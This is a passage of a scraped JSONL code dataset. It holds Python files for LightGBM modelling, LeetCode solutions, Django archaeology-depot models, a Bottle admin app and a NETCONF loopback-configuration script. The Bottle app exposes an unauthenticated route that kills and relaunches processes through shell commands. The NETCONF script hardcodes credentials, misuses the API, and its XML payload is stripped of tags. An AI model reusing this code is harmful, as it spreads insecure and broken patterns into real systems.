pred_out/self.bagging_num\r\n\r\n# 模型参数\r\nparams = {\r\n    'boosting_type': 'gbdt',\r\n    'objective': 'binary',\r\n    'metric': 'auc',\r\n    'learning_rate': 0.01,\r\n    'num_leaves': 2 ** 5 - 1,\r\n    'min_child_samples': 100,\r\n    'max_bin': 100,\r\n    'subsample': .7,\r\n    'subsample_freq': 1,\r\n    'colsample_bytree': 0.7,\r\n    'min_child_weight': 0,\r\n    'scale_pos_weight': 25,\r\n    'seed': 2018,\r\n    'nthread': 16,\r\n    'verbose': 0,\r\n}\r\n\r\n# 使用模型\r\nmodel = SBBTree(params=params,\\\r\n                      stacking_num=5,\\\r\n                      bagging_num=5,\\\r\n                      bagging_test_size=0.33,\\\r\n                      num_boost_round=10000,\\\r\n                      early_stopping_rounds=200)\r\nmodel.fit(X_train, y_train)\r\ny_predict = model.predict(X_test)\r\n#y_train_predict = model.predict(X_train)\r\n\r\n\r\ntest_head['pred_prob'] = y_predict\r\ntest_head.to_csv('../output/EDA16-threeWeek_rightTime.csv',index=False)\r\n\r\nthreeNew = test_head[test_head['pred_prob'] >= 0.65][['user_id', 'cate', 'shop_id']]\r\nthreeNew.to_csv('../output/res_threeWeekNew65.csv', index=False)\r\n", "sub_path": "code/EDA16-threeWeek_rightTime.py", "file_name": "EDA16-threeWeek_rightTime.py", "file_ext": "py", "file_size_in_byte": 8158, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.set_option", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 55, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 66, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 113, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 120, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 121, "usage_type": "call"}, {"api_name": "lightgbm.train", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 135, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 139, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 141, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 142, "usage_type": "call"}, {"api_name": "lightgbm.train", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 160, "usage_type": "call"}]}
+{"seq_id": "102135672", "text": "# @author Huaze Shen\n# @date 2020-05-03\n\nfrom typing import List\n\n\ndef print_numbers(n: int) -> List[int]:\n    result = []\n    max_num = 0\n    for i in range(n):\n        max_num += 9 * 10 ** i\n    for i in range(max_num):\n        result.append(i + 1)\n    return result\n\n\nif __name__ == '__main__':\n    print(print_numbers(2))\n", "sub_path": "python/print_numbers.py", "file_name": "print_numbers.py", "file_ext": "py", "file_size_in_byte": 326, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}]}
+{"seq_id": "36999334", "text": "#\n# @lc app=leetcode.cn id=325 lang=python3\n#\n# [325] 和等于 k 的最长子数组长度\n#\n# https://leetcode-cn.com/problems/maximum-size-subarray-sum-equals-k/description/\n#\n# algorithms\n# Medium (49.08%)\n# Likes:    45\n# Dislikes: 0\n# Total Accepted:    3.9K\n# Total Submissions: 7.9K\n# Testcase Example:  '[1,-1,5,-2,3]\\n3'\n#\n# 给定一个数组 nums 和一个目标值 k，找到和等于 k 的最长子数组长度。如果不存在任意一个符合要求的子数组，则返回 0。\n# \n# 注意:\n# nums 数组的总和是一定在 32 位有符号整数范围之内的。\n# \n# 示例 1:\n# \n# 输入: nums = [1, -1, 5, -2, 3], k = 3\n# 输出: 4 \n# 解释: 子数组 [1, -1, 5, -2] 和等于 3，且长度最长。\n# \n# \n# 示例 2:\n# \n# 输入: nums = [-2, -1, 2, 1], k = 1\n# 输出: 2 \n# 解释: 子数组 [-1, 2] 和等于 1，且长度最长。\n# \n# 进阶:\n# 你能使时间复杂度在 O(n) 内完成此题吗?\n# \n#\n\n# @lc code=start\nfrom typing import List\n\n\nclass Solution:\n    def maxSubArrayLen(self, nums: List[int], k: int) -> int:\n        p, r = 0, 0\n        d = {0: -1}\n        for i, n in enumerate(nums):\n            p += n\n            if p not in d:\n                d[p] = i\n            if p - k in d:\n                r = max(r, i - d[p - k])\n\n        return r\n\n# @lc code=end\n", "sub_path": "medium/325.和等于-k-的最长子数组长度.py", "file_name": "325.和等于-k-的最长子数组长度.py", "file_ext": "py", "file_size_in_byte": 1303, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "typing.List", "line_number": 44, "usage_type": "name"}]}
+{"seq_id": "600699545", "text": "from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\nfrom templates.choices import EASTING_CHOICES, NORTHING_CHOICES, RECOVERY_METHODS, MATERIALS\n\nclass Icon(models.Model):\n    icon_desc = models.CharField(primary_key=True,max_length=50)\n    icon = models.ImageField(upload_to='images/icons/')\n\n    def __str__(self):\n        return self.icon_desc\n\n    class Meta:\n        db_table = 'kap\\\".\\\"icon'\n        #ordering = [\"sample_id\"]\n        managed = False\n        verbose_name_plural = \"icons\"\n\nclass Storage(models.Model):\n    store_id = models.AutoField(primary_key=True)\n    store_name = models.CharField(max_length=200, default='')\n    address_1 = models.CharField(max_length=200, default='')\n    address_2 = models.CharField(max_length=200, default='')\n    region = models.CharField(max_length=200, default='')\n    city = models.CharField(max_length=200, default='')\n    zip = models.CharField(max_length=200, default='')\n    country = models.CharField(max_length=200, default=\"Turkey\")\n    created_by = models.CharField(max_length=200)\n    icon_desc = models.ForeignKey(Icon, db_column='icon_desc', on_delete = models.PROTECT)\n    orderby = models.IntegerField(blank=True, null=True)\n\n    def __str__(self):\n        return self.store_name\n\n    class Meta():\n        managed=False\n        db_table = 'kap\\\".\\\"store'\n        ordering = [\"orderby\"]\n        verbose_name_plural = \"stores\"\n\nclass Location(models.Model):\n    location_id = models.AutoField(primary_key=True)\n    store_id = models.ForeignKey(Storage, db_column='store_id', on_delete = models.PROTECT, default='Kaymakci Reseaerch Center')\n    icon_desc = models.ForeignKey(Icon, db_column='icon_desc', on_delete = models.PROTECT, null=True, blank=True, default='Box')\n    location_type = models.CharField(max_length=100, blank=True, null=True, default='Shelf')\n    location_name = models.CharField(max_length=100, blank=True, null=True)\n    location_sub_name = models.CharField(max_length=100, blank=True, null=True)\n    orderby = models.IntegerField(blank=True, null=True)\n\n    def __str__(self):\n        # return str(self.location_name)\n        return str(self.location_name)+ '.' +str(self.location_sub_name)\n\n    class Meta():\n        managed=False\n        db_table = 'kap\\\".\\\"location'\n        ordering = [\"location_name\",\"location_sub_name\"]\n        verbose_name_plural = \"locations\"\n\nclass Sample(models.Model): #like a user\n\n    sample_id = models.AutoField(primary_key=True)\n    # containers = models.ManyToManyField(Container, through='JoinSampleContainer', through_fields=('sample_id', 'container_id'), related_name='sample')\n    area_easting = models.IntegerField(choices = EASTING_CHOICES)\n    area_northing = models.IntegerField(choices = NORTHING_CHOICES)\n    context_number = models.IntegerField()\n    sample_number = models.IntegerField()\n    sample_type = models.CharField(max_length=200, default='', blank=True, null=True, choices = MATERIALS)\n    weight = models.DecimalField(max_digits=6, decimal_places=2)\n    description = models.CharField(max_length=500, default='', blank=True, null=True)\n    recovery_method = models.CharField(max_length=200, default='', blank=True, null=True, choices = RECOVERY_METHODS)\n    taken_by = models.ForeignKey(settings.AUTH_USER_MODEL, db_column='taken_by', on_delete = models.PROTECT, related_name='depotsample_taken_by')\n    # taken_by = models.IntegerField()\n    # taken_by = models.ForeignKey(settings.AUTH_USER_MODEL, db_column='taken_by', on_delete = models.PROTECT)\n    # taken_by = models.ForeignKey(public.auth_user, db_column='taken_by', on_delete = models.PROTECT)\n    comments = models.CharField(max_length=1000, default='', blank=True, null=True)\n\n    def __str__(self):\n        # return self.taken_by.first_name\n        # return str(self.sample_number)\n        return str(self.sample_id)\n        # return str(self.firstname)+ '-' +str(self.lastname)\n        # return u'%s %s' % (self.first_name, self.last_name)\n\n\n    class Meta:\n        db_table = 'kap\\\".\\\"sample'\n        #ordering = [\"sample_id\"]\n        managed = True\n        #verbose_name_plural = \"samples\"\n\nclass Container(models.Model): #like a friend\n    container_id = models.AutoField(primary_key=True)\n    container_name = models.CharField(max_length=50, blank=True, null=True)\n    container_type = models.CharField(max_length=50, blank=True, null=True, default='Crate')\n    location_id = models.ForeignKey(Location, db_column='location_id', on_delete = models.PROTECT, related_name = 'location')\n    icon_desc = models.ForeignKey(Icon, db_column='icon_desc', null=True, blank=True, default='Box',on_delete = models.PROTECT)\n    samples = models.ManyToManyField('Sample', through='ContainerSamples', related_name='containers')\n\n    def __str__(self):\n        return self.container_name\n\n    class Meta():\n        managed=True\n        db_table = 'kap\\\".\\\"container'\n        # ordering = [\"container_type\"]\n        # verbose_name_plural = \"containers\"\n        #unique_together = [('area_easting', 'area_northing', 'context_number', 'sample_number'),]\n\n\n\n\n\nclass JoinSampleContainer(models.Model):\n    id = models.AutoField(primary_key=True)\n    container_id = models.ForeignKey(Container, db_column='container_id', on_delete = models.PROTECT)\n    sample_id = models.ForeignKey(Sample, db_column='sample_id', on_delete = models.PROTECT)\n\n    def __int__(self):\n        return self.id\n\n    class Meta():\n        managed=False\n        db_table = 'kap\\\".\\\"joinsamplecontainer'\n        ordering = [\"container_id\",\"id\"]\n        #verbose_name_plural = \"Sample Container Join\"\n        #unique_together = [('area_easting', 'area_northing', 'context_number', 'sample_number'),]\n\n\n\n\n\n# class Person(models.Model):\n#     name = models.CharField(max_length=128)\n#\n# class Group(models.Model):\n#     name = models.CharField(max_length=128)\n#     members = models.ManyToManyField(Person, through='Membership')\n#\n# class Membership(models.Model):\n#     person = models.ForeignKey(Person, on_delete = models.PROTECT)\n#     group = models.ForeignKey(Group,  on_delete = models.PROTECT)\n#     date_joined = models.DateField()\n#     invite_reason = models.CharField(max_length=64)\n\n\n# class Samples(models.Model):\n#\n#     #container_id = models.ForeignKey(Container, db_column='container_id', on_delete = models.PROTECT)\n#     sample_id = models.IntegerField(blank=True, null=True)\n#     #sample_id = models.AutoField(primary_key=True)\n#\n#     #container_id = models.IntegerField()\n#\n#     area_easting = models.IntegerField()\n#     area_northing = models.IntegerField()\n#     context_number = models.IntegerField()\n#     sample_number = models.AutoField(primary_key=True)\n#\n#     material = models.CharField(max_length=25)\n#     specific_material = models.CharField(max_length=50, blank=True, null=True)\n#     exterior_color_hue = models.CharField(max_length=6, blank=True, null=True)\n#     exterior_color_lightness_value = models.DecimalField(max_digits=3, decimal_places=2, blank=True, null=True)\n#     exterior_color_chroma = models.IntegerField(blank=True, null=True)\n#     interior_color_hue = models.CharField(max_length=6, blank=True, null=True)\n#     interior_color_lightness_value = models.DecimalField(max_digits=3, decimal_places=2, blank=True, null=True)\n#     interior_color_chroma = models.IntegerField(blank=True, null=True)\n#     weight_kilograms = models.DecimalField(max_digits=6, decimal_places=4, blank=True, null=True)\n#     sample_description = models.TextField(blank=True, null=True)\n#     category = models.CharField(max_length=25, blank=True, null=True)\n#     subcategory = models.CharField(max_length=50, blank=True, null=True)\n#     count = models.IntegerField(blank=True, null=True)\n#     current_location = models.CharField(max_length=50)\n#     recovery_type = models.CharField(max_length=25)\n#     problems = models.CharField(max_length=300, blank=True, null=True)\n#     image_files = models.CharField(max_length=50, blank=True, null=True)\n#     number_3d_files = models.CharField(db_column='3d_files', max_length=50, blank=True, null=True)  # Field renamed because it wasn't a valid Python identifier.\n#     chronology = models.CharField(max_length=100, blank=True, null=True)\n#     analysis_request = models.CharField(max_length=50, blank=True, null=True)\n#     detailed_sample_description = models.TextField(blank=True, null=True)\n#     bureaucratic_status = models.CharField(max_length=25, blank=True, null=True)\n#     subjective_significance = models.NullBooleanField()\n#     museum_inventory_number = models.IntegerField(blank=True, null=True)\n#     bureaucratic_status_identifier = models.CharField(max_length=100, blank=True, null=True)\n\n    #VirtualField\n    # necs = CompositeForeignKey(\n    # #necs = CompositeOneToOneField(\n    #     Container,\n    #     on_delete=DO_NOTHING,\n    #     #related_name='containers',\n    #     related_name='samples',\n    #     to_fields={\n    #         \"area_easting\": \"area_easting\",\n    #         \"area_northing\": \"area_northing\",\n    #         \"context_number\": \"context_number\",\n    #         \"sample_number\": \"sample_number\" })\n\n    #sample_id = models.AutoField(unique=True)\n\n    # def __str__(self):\n    #     return str(self.sample_number)\n    #\n    # class Meta:\n    #     db_table = 'kap\\\".\\\"samples'\n    #     #ordering = [\"sample_id\"]\n    #     managed = False\n    #     #verbose_name_plural = \"samples\"\n    #     #unique_together = (('area_easting', 'area_northing', 'context_number', 'sample_number'),)\n\nclass ContainerSamples(models.Model):\n    id = models.AutoField(primary_key=True)\n    container = models.ForeignKey(Container, on_delete=models.CASCADE)\n    sample = models.ForeignKey(Sample, on_delete=models.CASCADE)\n\n    @classmethod\n    def add_to_container(cls, container, sample):\n        container, created = cls.objects.get_or_create(\n            sample=sample,\n            container=container\n        )\n\n    @classmethod\n    def remove_from_container(cls, container, sample):\n         c_sample = ContainerSamples.objects.get(container=container, sample=sample)\n         c_sample.delete()\n\n    def __int__(self):\n        return self.id\n\n    class Meta():\n        managed=False\n        db_table = 'kap\\\".\\\"container_samples'\n\n\n# # m2m test\n# class Friend(models.Model):\n#     users = models.ManyToManyField(User)\n#     current_user = models.ForeignKey(User, related_name='owner', null=True, on_delete = models.PROTECT)\n#     # container_id = models.ForeignKey(Container, null=True, on_delete = models.PROTECT)\n#\n#     @classmethod\n#     def make_friend(cls, current_user, new_friend):\n#         friend, created = cls.objects.get_or_create(\n#             current_user=current_user\n#         )\n#         friend.users.add(new_friend)\n#\n#     @classmethod\n#     def lose_friend(cls, current_user, new_friend):\n#         friend, created = cls.objects.get_or_create(\n#             current_user=current_user\n#         )\n#         friend.users.remove(new_friend)\n\n# class ContainerContents(models.Model):\n#         sample = models.ManyToManyField('Sample')\n#         current_container = models.ForeignKey(Container, null=True, on_delete = models.PROTECT)\n#\n#         @classmethod\n#         def add_to_container(cls, current_container, sample):\n#             container, created = cls.objects.get_or_create(\n#                 current_container=current_container\n#             )\n#             container.sample.add(sample)\n#\n#         @classmethod\n#         def remove_from_container(cls, current_container, sample):\n#             container, created = cls.objects.get_or_create(\n#                 current_container=current_container\n#             )\n#             container.sample.remove(sample)\n", "sub_path": "depot/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 11711, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.db.models.Model", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 6, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 7, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.db.models.IntegerField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 42, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 44, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 48, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 48, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 60, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 62, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 62, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 64, "usage_type": "name"}, {"api_name": "templates.choices.EASTING_CHOICES", "line_number": 64, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 65, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 65, "usage_type": "name"}, {"api_name": "templates.choices.NORTHING_CHOICES", "line_number": 65, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 66, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 66, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 67, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 67, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 68, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 68, "usage_type": "name"}, {"api_name": "templates.choices.MATERIALS", "line_number": 68, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 69, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 70, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 70, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "templates.choices.RECOVERY_METHODS", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 72, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 72, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 72, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 72, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 72, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 92, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 92, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 93, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 93, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 94, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 94, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 95, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 95, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 96, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 96, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 97, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 97, "usage_type": "attribute"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 98, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 114, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 114, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 115, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 115, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 116, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 116, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 116, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 117, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 117, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 117, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 211, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 211, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 212, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 212, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 213, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 213, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 213, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 214, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 214, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 214, "usage_type": "attribute"}]}
+{"seq_id": "589282612", "text": "from bottle import route, run, template,redirect,request\nimport os\nimport sys\nsys.path.append('/etc/openhab2/scripts/control')\nimport database\nimport util\nimport json\n\n@route('/exec')\ndef exec():\n    try:\n        config=util.read_config()\n        path=config['SETTING']['root_path']\n        os.system('''ps -ef | grep {}/ | cut -c 9-15 | xargs kill -9'''.format(path)) \n        os.system(\"setsid python3 \"+path+\"/{} &\".format(config['SETTING']['include']))\n        os.system('\\n echo \"system_run,py up\"')\n        # files=os.listdir(path)\n        # exclude=config['SETTING']['exclude'].split(\",\")\n        # for f in files:\n        #     if f in exclude:\n        #         continue\n        #     else:\n        #         os.system(\"setsid python3 \"+path+\"/\"+f+\" &\")\n        #         os.system('\\n echo \"{} up\"'.format(f))\n    except Exception:\n        pass\n\n@route('/')\ndef index():\n    return redirect(\"/admin\")\n\n@route('/admin',method='GET')\ndef admin():\n    name=[]\n    time=[]\n    action=[]\n    all_data=database.get_data()\n\n    for data in all_data:\n        name.append(data[0])\n        time.append(data[1])\n        actions=json.loads(data[2])\n        temp_list=[]\n        for key in actions:\n            temp={}\n            temp[key]=actions[key]\n            temp_list.append(temp)\n        action.append(temp_list)\n    return template(\"admin\",time=time, name=name, action=action)\n\n    \n@route('/admin',method='POST')\ndef do_admin():\n    database.update_data(request.forms)\n    return redirect(\"/admin\")\n\nrun(host='0.0.0.0', port=9999)", "sub_path": "scripts/exec_local.py", "file_name": "exec_local.py", "file_ext": "py", "file_size_in_byte": 1538, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "util.read_config", "line_number": 12, "usage_type": "call"}, {"api_name": "os.system", "line_number": 14, "usage_type": "call"}, {"api_name": "os.system", "line_number": 15, "usage_type": "call"}, {"api_name": "os.system", "line_number": 16, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 9, "usage_type": "call"}, {"api_name": "bottle.redirect", "line_number": 30, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 28, "usage_type": "call"}, {"api_name": "database.get_data", "line_number": 37, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 42, "usage_type": "call"}, {"api_name": "bottle.template", "line_number": 49, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 32, "usage_type": "call"}, {"api_name": "database.update_data", "line_number": 54, "usage_type": "call"}, {"api_name": "bottle.request.forms", "line_number": 54, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 54, "usage_type": "name"}, {"api_name": "bottle.redirect", "line_number": 55, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 52, "usage_type": "call"}, {"api_name": "bottle.run", "line_number": 57, "usage_type": "call"}]}
+{"seq_id": "295550700", "text": "#!/bin/python\nimport os\nimport ncclient\nimport xml.dom.minidom\n\nos.system(\"clear\")\nos.system(\"cls\")\n\nfrom ncclient import manager\n\n\nm = manager.connect(\n    host=\"192.168.56.101\",\n    port=830,\n    username=\"cisco\",\n    password=\"cisco123!\",\n    hostkey_verify=False\n)\n        \nnetconf_reply  = manager.get_config(source=\"running\")\nprint(netconf_reply) \n\nnetconf_data = \"\"\"\n\n    \n        \n            \n                100\n                TEST1\n                \n                    
\n                        \n                            
100.100.100.100
\n                            255.255.255.0\n                        \n                    
\n                \n            \n        \n    \n\n\"\"\"\n\nnetconf_reply = m.edit_config(target=\"running\", config=netconf_data)\nprint(xml.dom.minidom.parseString(netconf_reply.xml).toprettyxml())", "sub_path": "IntroductionToPythonAndProgrammingBasic-Cisco-master/Model Driven Programmability - DevnNet20/Activities/Módulo 2/createLoopbackInterface.py", "file_name": "createLoopbackInterface.py", "file_ext": "py", "file_size_in_byte": 1075, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.system", "line_number": 6, "usage_type": "call"}, {"api_name": "os.system", "line_number": 7, "usage_type": "call"}, {"api_name": "ncclient.manager.connect", "line_number": 12, "usage_type": "call"}, {"api_name": "ncclient.manager", "line_number": 12, "usage_type": "name"}, {"api_name": "ncclient.manager.get_config", "line_number": 20, "usage_type": "call"}, {"api_name": "ncclient.manager", "line_number": 20, "usage_type": "name"}, {"api_name": "xml.dom.minidom.dom.minidom.parseString", "line_number": 45, "usage_type": "call"}, {"api_name": "xml.dom.minidom.dom", "line_number": 45, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom", "line_number": 45, "usage_type": "name"}]}
+{"seq_id": "441150978", "text": "# Create your views here.\nimport http.client\nimport json\nimport threading\nimport configparser\n\nfrom django.http import HttpResponse\nfrom .BuildWorker import startWorker\n\nworkerStarted = False\n\nconfig = configparser.ConfigParser()\nconfig.read('config.txt')\nrq_id = config['CONFIGURATION']['RQ_ID']\n\n\ndef index(request, project_id):\n    global workerStarted\n    data = json.dumps({'project_id': project_id})\n    params = json.dumps({\"topic\": \"Build_Manager_Queue1\", \"data\": data, \"priority\": 3})\n    headers = {\"Content-type\": \"application/x-www-form-urlencoded\", \"Accept\": \"text/plain\"}\n    conn = http.client.HTTPConnection(rq_id)\n    conn.request(\"POST\", \"/queue/enqueue\", params, headers)\n    response = conn.getresponse()\n    print(response.status, response.reason)\n    data = response.read()\n    print(data)\n    conn.close()\n    if not workerStarted:\n        thread = threading.Thread(target=startWorker)\n        thread.start()\n        workerStarted = True\n    return HttpResponse(data)\n", "sub_path": "master_node/build_manager/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 991, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "configparser.ConfigParser", "line_number": 12, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 19, "usage_type": "call"}, {"api_name": 